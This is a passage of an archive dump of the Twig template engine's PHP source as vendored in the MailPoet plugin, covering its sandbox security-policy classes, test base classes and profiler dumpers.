getBinaryOperators() { return $this->extensionSet->getBinaryOperators(); } private function updateOptionsHash() { $this->optionsHash = \implode(':', [$this->extensionSet->getSignature(), \PHP_MAJOR_VERSION, \PHP_MINOR_VERSION, self::VERSION, (int) $this->debug, $this->baseTemplateClass, (int) $this->strictVariables]); } } \class_alias('MailPoetVendor\\Twig\\Environment', 'MailPoetVendor\\Twig_Environment'); twig/src/Sandbox/SecurityError.php 0000666 00000000437 15035120623 0013242 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\Error; class SecurityError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityError', 'MailPoetVendor\\Twig_Sandbox_SecurityError'); twig/src/Sandbox/index.php 0000666 00000000000 15035120623 0011512 0 ustar 00 twig/src/Sandbox/SecurityNotAllowedMethodError.php 0000666 00000002410 15035120623 0016365 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedMethodError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $className; private $methodName; public function __construct(string $message, string $className, string $methodName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->className = $className; $this->methodName = $methodName; } public function getClassName() { return $this->className; } public function getMethodName() { return $this->methodName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedMethodError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedMethodError'); twig/src/Sandbox/SecurityNotAllowedPropertyError.php 0000666 00000002432 15035120623 0016775 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedPropertyError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $className; private $propertyName; public function __construct(string $message, string $className, string $propertyName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->className = $className; $this->propertyName = $propertyName; } public function getClassName() { return $this->className; } public function getPropertyName() { return $this->propertyName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedPropertyError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedPropertyError'); twig/src/Sandbox/SecurityNotAllowedFilterError.php 0000666 00000002212 15035120623 0016372 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedFilterError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $filterName; public function __construct(string $message, string $functionName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->filterName = $functionName; } public function getFilterName() { return $this->filterName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFilterError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedFilterError'); twig/src/Sandbox/SecurityNotAllowedTagError.php 0000666 00000002153 15035120623 0015664 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedTagError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $tagName; public function __construct(string $message, string $tagName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->tagName = $tagName; } public function getTagName() { return $this->tagName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedTagError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedTagError'); twig/src/Sandbox/SecurityPolicy.php 0000666 00000006405 15035120623 0013411 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Markup; use MailPoetVendor\Twig\Template; final class SecurityPolicy implements \MailPoetVendor\Twig\Sandbox\SecurityPolicyInterface { private $allowedTags; private $allowedFilters; private $allowedMethods; private $allowedProperties; private $allowedFunctions; public function __construct(array $allowedTags = [], array $allowedFilters = [], array $allowedMethods = [], array $allowedProperties = [], array $allowedFunctions = []) { $this->allowedTags = $allowedTags; $this->allowedFilters = $allowedFilters; $this->setAllowedMethods($allowedMethods); $this->allowedProperties = $allowedProperties; $this->allowedFunctions = $allowedFunctions; } public function setAllowedTags(array $tags) { $this->allowedTags = $tags; } public function setAllowedFilters(array $filters) { $this->allowedFilters = $filters; } public function setAllowedMethods(array $methods) { $this->allowedMethods = []; foreach ($methods as $class => $m) { $this->allowedMethods[$class] = \array_map(function ($value) { return \strtr($value, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); }, \is_array($m) ? $m : [$m]); } } public function setAllowedProperties(array $properties) { $this->allowedProperties = $properties; } public function setAllowedFunctions(array $functions) { $this->allowedFunctions = $functions; } public function checkSecurity($tags, $filters, $functions) { foreach ($tags as $tag) { if (!\in_array($tag, $this->allowedTags)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedTagError(\sprintf('Tag "%s" is not allowed.', $tag), $tag); } } foreach ($filters as $filter) { if (!\in_array($filter, $this->allowedFilters)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedFilterError(\sprintf('Filter "%s" is not allowed.', $filter), $filter); } } foreach ($functions as $function) { if (!\in_array($function, $this->allowedFunctions)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedFunctionError(\sprintf('Function "%s" is not allowed.', $function), $function); } } } public function checkMethodAllowed($obj, $method) { if ($obj instanceof \MailPoetVendor\Twig\Template || $obj instanceof \MailPoetVendor\Twig\Markup) { return; } $allowed = \false; $method = \strtr($method, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); foreach ($this->allowedMethods as $class => $methods) { if ($obj instanceof $class) { $allowed = \in_array($method, $methods); break; } } if (!$allowed) { $class = \get_class($obj); throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedMethodError(\sprintf('Calling "%s" method on a "%s" object is not allowed.', $method, $class), $class, $method); } } public function checkPropertyAllowed($obj, $property) { $allowed = \false; foreach ($this->allowedProperties as $class => $properties) { if ($obj instanceof $class) { $allowed = \in_array($property, \is_array($properties) ? $properties : [$properties]); break; } } if (!$allowed) { $class = \get_class($obj); throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedPropertyError(\sprintf('Calling "%s" property on a "%s" object is not allowed.', $property, $class), $class, $property); } } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityPolicy', 'MailPoetVendor\\Twig_Sandbox_SecurityPolicy'); twig/src/Sandbox/SecurityNotAllowedFunctionError.php 0000666 00000002230 15035120623 0016732 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedFunctionError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $functionName; public function __construct(string $message, string $functionName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->functionName = $functionName; } public function getFunctionName() { return $this->functionName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFunctionError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedFunctionError'); twig/src/Sandbox/SecurityPolicyInterface.php 0000666 00000000627 15035120623 0015232 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; interface SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions); public function checkMethodAllowed($obj, $method); public function checkPropertyAllowed($obj, $method); } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityPolicyInterface', 'MailPoetVendor\\Twig_Sandbox_SecurityPolicyInterface'); twig/src/Test/NodeTestCase.php 0000666 00000003167 15035120623 0012266 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\PHPUnit\Framework\TestCase; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\Node\Node; abstract class NodeTestCase extends \MailPoetVendor\PHPUnit\Framework\TestCase { public abstract function getTests(); public function testCompile($node, $source, $environment = null, $isPattern = \false) { $this->assertNodeCompilation($source, $node, $environment, $isPattern); } public function assertNodeCompilation($source, \MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $environment = null, $isPattern = \false) { $compiler = $this->getCompiler($environment); $compiler->compile($node); if ($isPattern) { $this->assertStringMatchesFormat($source, \trim($compiler->getSource())); } else { $this->assertEquals($source, \trim($compiler->getSource())); } } protected function getCompiler(\MailPoetVendor\Twig\Environment $environment = null) { return new \MailPoetVendor\Twig\Compiler(null === $environment ? $this->getEnvironment() : $environment); } protected function getEnvironment() { return new \MailPoetVendor\Twig\Environment(new \MailPoetVendor\Twig\Loader\ArrayLoader([])); } protected function getVariableGetter($name, $line = \false) { $line = $line > 0 ? "// line {$line}\n" : ''; return \sprintf('%s($context["%s"] ?? null)', $line, $name); } protected function getAttributeGetter() { return 'twig_get_attribute($this->env, $this->source, '; } } \class_alias('MailPoetVendor\\Twig\\Test\\NodeTestCase', 'MailPoetVendor\\Twig_Test_NodeTestCase'); twig/src/Test/index.php 0000666 00000000000 15035120623 0011033 0 ustar 00 twig/src/Test/IntegrationTestCase.php 0000666 00000015073 15035120623 0013663 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\PHPUnit\Framework\TestCase; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Error\Error; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface; use MailPoetVendor\Twig\TwigFilter; use MailPoetVendor\Twig\TwigFunction; use MailPoetVendor\Twig\TwigTest; abstract class IntegrationTestCase extends \MailPoetVendor\PHPUnit\Framework\TestCase { protected abstract function getFixturesDir(); protected function getRuntimeLoaders() { return []; } protected function getExtensions() { return []; } protected function getTwigFilters() { return []; } protected function getTwigFunctions() { return []; } protected function getTwigTests() { return []; } public function testIntegration($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { $this->doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation); } public function testLegacyIntegration($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { $this->doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation); } public function getTests($name, $legacyTests = \false) { $fixturesDir = \realpath($this->getFixturesDir()); $tests = []; foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($fixturesDir), \RecursiveIteratorIterator::LEAVES_ONLY) as $file) { if (!\preg_match('/\\.test$/', $file)) { continue; } if ($legacyTests xor \false !== \strpos($file->getRealpath(), '.legacy.test')) { continue; } $test = \file_get_contents($file->getRealpath()); if (\preg_match('/--TEST--\\s*(.*?)\\s*(?:--CONDITION--\\s*(.*))?\\s*(?:--DEPRECATION--\\s*(.*?))?\\s*((?:--TEMPLATE(?:\\(.*?\\))?--(?:.*?))+)\\s*(?:--DATA--\\s*(.*))?\\s*--EXCEPTION--\\s*(.*)/sx', $test, $match)) { $message = $match[1]; $condition = $match[2]; $deprecation = $match[3]; $templates = self::parseTemplates($match[4]); $exception = $match[6]; $outputs = [[null, $match[5], null, '']]; } elseif (\preg_match('/--TEST--\\s*(.*?)\\s*(?:--CONDITION--\\s*(.*))?\\s*(?:--DEPRECATION--\\s*(.*?))?\\s*((?:--TEMPLATE(?:\\(.*?\\))?--(?:.*?))+)--DATA--.*?--EXPECT--.*/s', $test, $match)) { $message = $match[1]; $condition = $match[2]; $deprecation = $match[3]; $templates = self::parseTemplates($match[4]); $exception = \false; \preg_match_all('/--DATA--(.*?)(?:--CONFIG--(.*?))?--EXPECT--(.*?)(?=\\-\\-DATA\\-\\-|$)/s', $test, $outputs, \PREG_SET_ORDER); } else { throw new \InvalidArgumentException(\sprintf('Test "%s" is not valid.', \str_replace($fixturesDir . '/', '', $file))); } $tests[] = [\str_replace($fixturesDir . '/', '', $file), $message, $condition, $templates, $exception, $outputs, $deprecation]; } if ($legacyTests && empty($tests)) { return [['not', '-', '', [], '', []]]; } return $tests; } public function getLegacyTests() { return $this->getTests('testLegacyIntegration', \true); } protected function doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { if (!$outputs) { $this->markTestSkipped('no tests to run'); } if ($condition) { eval('$ret = ' . $condition . ';'); if (!$ret) { $this->markTestSkipped($condition); } } $loader = new \MailPoetVendor\Twig\Loader\ArrayLoader($templates); foreach ($outputs as $i => $match) { $config = \array_merge(['cache' => \false, 'strict_variables' => \true], $match[2] ? eval($match[2] . ';') : []); $twig = new \MailPoetVendor\Twig\Environment($loader, $config); $twig->addGlobal('global', 'global'); foreach ($this->getRuntimeLoaders() as $runtimeLoader) { $twig->addRuntimeLoader($runtimeLoader); } foreach ($this->getExtensions() as $extension) { $twig->addExtension($extension); } foreach ($this->getTwigFilters() as $filter) { $twig->addFilter($filter); } foreach ($this->getTwigTests() as $test) { $twig->addTest($test); } foreach ($this->getTwigFunctions() as $function) { $twig->addFunction($function); } $p = new \ReflectionProperty($twig, 'templateClassPrefix'); $p->setAccessible(\true); $p->setValue($twig, '__TwigTemplate_' . \hash('sha256', \uniqid(\mt_rand(), \true), \false) . '_'); $deprecations = []; try { $prevHandler = \set_error_handler(function ($type, $msg, $file, $line, $context = []) use(&$deprecations, &$prevHandler) { if (\E_USER_DEPRECATED === $type) { $deprecations[] = $msg; return \true; } return $prevHandler ? $prevHandler($type, $msg, $file, $line, $context) : \false; }); $template = $twig->load('index.twig'); } catch (\Exception $e) { if (\false !== $exception) { $message = $e->getMessage(); $this->assertSame(\trim($exception), \trim(\sprintf('%s: %s', \get_class($e), $message))); $last = \substr($message, \strlen($message) - 1); $this->assertTrue('.' === $last || '?' === $last, 'Exception message must end with a dot or a question mark.'); return; } throw new \MailPoetVendor\Twig\Error\Error(\sprintf('%s: %s', \get_class($e), $e->getMessage()), -1, null, $e); } finally { \restore_error_handler(); } $this->assertSame($deprecation, \implode("\n", $deprecations)); try { $output = \trim($template->render(eval($match[1] . ';')), "\n "); } catch (\Exception $e) { if (\false !== $exception) { $this->assertSame(\trim($exception), \trim(\sprintf('%s: %s', \get_class($e), $e->getMessage()))); return; } $e = new \MailPoetVendor\Twig\Error\Error(\sprintf('%s: %s', \get_class($e), $e->getMessage()), -1, null, $e); $output = \trim(\sprintf('%s: %s', \get_class($e), $e->getMessage())); } if (\false !== $exception) { list($class) = \explode(':', $exception); $constraintClass = \class_exists('MailPoetVendor\\PHPUnit\\Framework\\Constraint\\Exception') ? 'PHPUnit\\Framework\\Constraint\\Exception' : 'PHPUnit_Framework_Constraint_Exception'; $this->assertThat(null, new $constraintClass($class)); } $expected = \trim($match[3], "\n "); if ($expected !== $output) { \printf("Compiled templates that failed on case %d:\n", $i + 1); foreach (\array_keys($templates) as $name) { echo "Template: {$name}\n"; echo $twig->compile($twig->parse($twig->tokenize($twig->getLoader()->getSourceContext($name)))); } } $this->assertEquals($expected, $output, $message . ' (in ' . $file . ')'); } } protected static function parseTemplates($test) { $templates = []; \preg_match_all('/--TEMPLATE(?:\\((.*?)\\))?--(.*?)(?=\\-\\-TEMPLATE|$)/s', $test, $matches, \PREG_SET_ORDER); foreach ($matches as $match) { $templates[$match[1] ? $match[1] : 'index.twig'] = $match[2]; } return $templates; } } \class_alias('MailPoetVendor\\Twig\\Test\\IntegrationTestCase', 'MailPoetVendor\\Twig_Test_IntegrationTestCase'); twig/src/Profiler/Node/LeaveProfileNode.php 0000666 00000001215 15035120623 0014650 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class LeaveProfileNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $varName) { parent::__construct([], ['var_name' => $varName]); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("\n")->write(\sprintf("\$%s->leave(\$%s);\n\n", $this->getAttribute('var_name'), $this->getAttribute('var_name') . '_prof')); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Node\\LeaveProfileNode', 'MailPoetVendor\\Twig_Profiler_Node_LeaveProfile'); twig/src/Profiler/Node/index.php 0000666 00000000000 15035120623 0012563 0 ustar 00 twig/src/Profiler/Node/EnterProfileNode.php 0000666 00000002045 15035120623 0014673 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class EnterProfileNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $extensionName, string $type, string $name, string $varName) { parent::__construct([], ['extension_name' => $extensionName, 'name' => $name, 'type' => $type, 'var_name' => $varName]); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write(\sprintf('$%s = $this->extensions[', $this->getAttribute('var_name')))->repr($this->getAttribute('extension_name'))->raw("];\n")->write(\sprintf('$%s->enter($%s = new \\MailPoetVendor\\Twig\\Profiler\\Profile($this->getTemplateName(), ', $this->getAttribute('var_name'), $this->getAttribute('var_name') . '_prof'))->repr($this->getAttribute('type'))->raw(', ')->repr($this->getAttribute('name'))->raw("));\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Node\\EnterProfileNode', 'MailPoetVendor\\Twig_Profiler_Node_EnterProfile'); twig/src/Profiler/NodeVisitor/ProfilerNodeVisitor.php 0000666 00000005150 15035120623 0017017 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor; use MailPoetVendor\Twig\Profiler\Node\EnterProfileNode; use MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode; use MailPoetVendor\Twig\Profiler\Profile; final class ProfilerNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { private $extensionName; public function __construct(string $extensionName) { $this->extensionName = $extensionName; } protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $varName = $this->getVarName(); $node->setNode('display_start', new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::TEMPLATE, $node->getTemplateName(), $varName), $node->getNode('display_start')])); $node->setNode('display_end', new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName), $node->getNode('display_end')])); } elseif ($node instanceof \MailPoetVendor\Twig\Node\BlockNode) { $varName = $this->getVarName(); $node->setNode('body', new \MailPoetVendor\Twig\Node\BodyNode([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::BLOCK, $node->getAttribute('name'), $varName), $node->getNode('body'), new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName)])); } elseif ($node instanceof \MailPoetVendor\Twig\Node\MacroNode) { $varName = $this->getVarName(); $node->setNode('body', new \MailPoetVendor\Twig\Node\BodyNode([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::MACRO, $node->getAttribute('name'), $varName), $node->getNode('body'), new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName)])); } return $node; } private function getVarName() : string { return \sprintf('__internal_%s', \hash('sha256', $this->extensionName)); } public function getPriority() { return 0; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\NodeVisitor\\ProfilerNodeVisitor', 'MailPoetVendor\\Twig_Profiler_NodeVisitor_Profiler'); twig/src/Profiler/NodeVisitor/index.php 0000666 00000000000 15035120623 0014143 0 ustar 00 twig/src/Profiler/Dumper/index.php 0000666 00000000000 15035120623 0013132 0 ustar 00 twig/src/Profiler/Dumper/BlackfireDumper.php 0000666 00000003124 15035120623 0015074 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class BlackfireDumper { public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { $data = []; $this->dumpProfile('main()', $profile, $data); $this->dumpChildren('main()', $profile, $data); $start = \sprintf('%f', \microtime(\true)); $str = <<<EOF
file-format: BlackfireProbe
cost-dimensions: wt mu pmu
request-start: {$start}
EOF;
foreach ($data as $name => $values) { $str .= "{$name}//{$values['ct']} {$values['wt']} {$values['mu']} {$values['pmu']}\n"; } return $str; } private function dumpChildren(string $parent, \MailPoetVendor\Twig\Profiler\Profile $profile, &$data) { foreach ($profile as $p) { if ($p->isTemplate()) { $name = $p->getTemplate(); } else { $name = \sprintf('%s::%s(%s)', $p->getTemplate(), $p->getType(), $p->getName()); } $this->dumpProfile(\sprintf('%s==>%s', $parent, $name), $p, $data); $this->dumpChildren($name, $p, $data); } } private function dumpProfile(string $edge, \MailPoetVendor\Twig\Profiler\Profile $profile, &$data) { if (isset($data[$edge])) { ++$data[$edge]['ct']; $data[$edge]['wt'] += \floor($profile->getDuration() * 1000000); $data[$edge]['mu'] += $profile->getMemoryUsage(); $data[$edge]['pmu'] += $profile->getPeakMemoryUsage(); } else { $data[$edge] = ['ct' => 1, 'wt' => \floor($profile->getDuration() * 1000000), 'mu' => $profile->getMemoryUsage(), 'pmu' => $profile->getPeakMemoryUsage()]; } } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\BlackfireDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Blackfire'); twig/src/Profiler/Dumper/HtmlDumper.php 0000666 00000002527 15035120623 0014124 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class HtmlDumper extends \MailPoetVendor\Twig\Profiler\Dumper\BaseDumper { private static $colors = ['block' => '#dfd', 'macro' => '#ddf', 'template' => '#ffd', 'big' => '#d44']; public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { return '<pre>' . parent::dump($profile) . '</pre>'; } protected function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ <span style="background-color: %s">%s</span>', $prefix, self::$colors['template'], $profile->getTemplate()); } protected function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s::%s(<span style="background-color: %s">%s</span>)', $prefix, $profile->getTemplate(), $profile->getType(), isset(self::$colors[$profile->getType()]) ? self::$colors[$profile->getType()] : 'auto', $profile->getName()); } protected function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent) { return \sprintf('<span style="color: %s">%.2fms/%.0f%%</span>', $percent > 20 ? self::$colors['big'] : 'auto', $profile->getDuration() * 1000, $percent); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\HtmlDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Html'); twig/src/Profiler/Dumper/BaseDumper.php 0000666 00000002716 15035120623 0014072 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; abstract class BaseDumper { private $root; public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { return $this->dumpProfile($profile); } protected abstract function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix); protected abstract function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix); protected abstract function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent); private function dumpProfile(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix = '', $sibling = \false) : string { if ($profile->isRoot()) { $this->root = $profile->getDuration(); $start = $profile->getName(); } else { if ($profile->isTemplate()) { $start = $this->formatTemplate($profile, $prefix); } else { $start = $this->formatNonTemplate($profile, $prefix); } $prefix .= $sibling ? '│ ' : ' '; } $percent = $this->root ? $profile->getDuration() / $this->root * 100 : 0; if ($profile->getDuration() * 1000 < 1) { $str = $start . "\n"; } else { $str = \sprintf("%s %s\n", $start, $this->formatTime($profile, $percent)); } $nCount = \count($profile->getProfiles()); foreach ($profile as $i => $p) { $str .= $this->dumpProfile($p, $prefix, $i + 1 !== $nCount); } return $str; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\BaseDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Base'); twig/src/Profiler/Dumper/TextDumper.php 0000666 00000001534 15035120623 0014141 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class TextDumper extends \MailPoetVendor\Twig\Profiler\Dumper\BaseDumper { protected function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s', $prefix, $profile->getTemplate()); } protected function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s::%s(%s)', $prefix, $profile->getTemplate(), $profile->getType(), $profile->getName()); } protected function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent) { return \sprintf('%.2fms/%.0f%%', $profile->getDuration() * 1000, $percent); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\TextDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Text'); twig/src/Profiler/Profile.php 0000666 00000005543 15035120623 0012210 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Profiler; if (!defined('ABSPATH')) exit; class Profile implements \IteratorAggregate, \Serializable { const ROOT = 'ROOT'; const BLOCK = 'block'; const TEMPLATE = 'template'; const MACRO = 'macro'; private $template; private $name; private $type; private $starts = []; private $ends = []; private $profiles = []; public function __construct(string $template = 'main', string $type = self::ROOT, string $name = 'main') { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->template = $template; $this->type = $type; $this->name = 0 === \strpos($name, '__internal_') ? 'INTERNAL' : $name; $this->enter(); } public function getTemplate() { return $this->template; } public function getType() { return $this->type; } public function getName() { return $this->name; } public function isRoot() { return self::ROOT === $this->type; } public function isTemplate() { return self::TEMPLATE === $this->type; } public function isBlock() { return self::BLOCK === $this->type; } public function isMacro() { return self::MACRO === $this->type; } public function getProfiles() { return $this->profiles; } public function addProfile(self $profile) { $this->profiles[] = $profile; } public function getDuration() { if 